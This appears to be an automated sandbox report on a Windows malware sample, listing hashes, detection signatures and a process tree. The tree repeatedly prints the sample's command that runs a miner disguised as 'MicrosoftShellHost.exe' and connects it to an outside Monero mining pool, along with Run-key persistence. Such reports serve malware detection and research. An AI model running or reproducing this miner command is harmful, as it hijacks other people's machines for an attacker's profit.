Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    21-05-2022 00:45

General

  • Target

    f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe

  • Size

    2MB

  • Sample

    220521-a397dabcb8

  • MD5

    9271ea4c15a9702c08647eac23c932d8

  • SHA1

    7699f28181372cd1db025020f033a49664dd9bbe

  • SHA256

    f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65

  • SHA512

    2034004e2244d612736f309e620e58dbd923137e3d7e23fd1779fe367201dab022fd74e28695d5d6a469f1d8a3ec9625b7c5545deddd2601489aa9b96afb4875

Score
9/10

Malware Config

Signatures 4

  • Detected Stratum cryptominer command

    Looks to be attempting to contact Stratum mining pool.

  • Adds Run key to start application ⋅ 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses ⋅ 64 IoCs
  • Suspicious use of WriteProcessMemory ⋅ 48 IoCs

Processes 25

  • C:\Users\Admin\AppData\Local\Temp\f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe
    "C:\Users\Admin\AppData\Local\Temp\f78393df5e1e6a6e8d9ab84d4c4f376235398180bce127e9a2170e926d7f8d65.exe"
    Adds Run key to start application
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:2500
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:3736
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4744
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:3516
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4896
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1384
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4568
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4784
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4776
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1764
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:5088
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:3640
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4152
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1580
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1492
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1480
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:744
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1344
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:2828
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:3980
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:1312
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:2248
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:448
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\ProgramData\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://xmr.pool.minergate.com:45560 -u gancharart@bk.ru -p x -t 1
      PID:4588

Network

MITRE ATT&CK Matrix

Collection

    Command and Control

      Credential Access

        Defense Evasion

        Discovery

          Execution

            Exfiltration

              Impact

                Initial Access

                  Lateral Movement

                    Privilege Escalation

                      Replay Monitor

                      00:00 00:00

                      Downloads

                      • memory/448-158-0x0000000000000000-mapping.dmp
                      • memory/744-152-0x0000000000000000-mapping.dmp
                      • memory/1312-156-0x0000000000000000-mapping.dmp
                      • memory/1344-153-0x0000000000000000-mapping.dmp
                      • memory/1384-141-0x0000000000000000-mapping.dmp
                      • memory/1480-151-0x0000000000000000-mapping.dmp
                      • memory/1492-150-0x0000000000000000-mapping.dmp
                      • memory/1580-149-0x0000000000000000-mapping.dmp
                      • memory/1764-145-0x0000000000000000-mapping.dmp
                      • memory/1944-133-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/1944-130-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/1944-136-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/1944-134-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/1944-132-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/1944-131-0x0000000140000000-0x0000000140BDF000-memory.dmp
                      • memory/2248-157-0x0000000000000000-mapping.dmp
                      • memory/2500-135-0x0000000000000000-mapping.dmp
                      • memory/2828-154-0x0000000000000000-mapping.dmp
                      • memory/3516-139-0x0000000000000000-mapping.dmp
                      • memory/3640-147-0x0000000000000000-mapping.dmp
                      • memory/3736-137-0x0000000000000000-mapping.dmp
                      • memory/3980-155-0x0000000000000000-mapping.dmp
                      • memory/4152-148-0x0000000000000000-mapping.dmp
                      • memory/4568-142-0x0000000000000000-mapping.dmp
                      • memory/4588-159-0x0000000000000000-mapping.dmp
                      • memory/4744-138-0x0000000000000000-mapping.dmp
                      • memory/4776-144-0x0000000000000000-mapping.dmp
                      • memory/4784-143-0x0000000000000000-mapping.dmp
                      • memory/4896-140-0x0000000000000000-mapping.dmp
                      • memory/5088-146-0x0000000000000000-mapping.dmp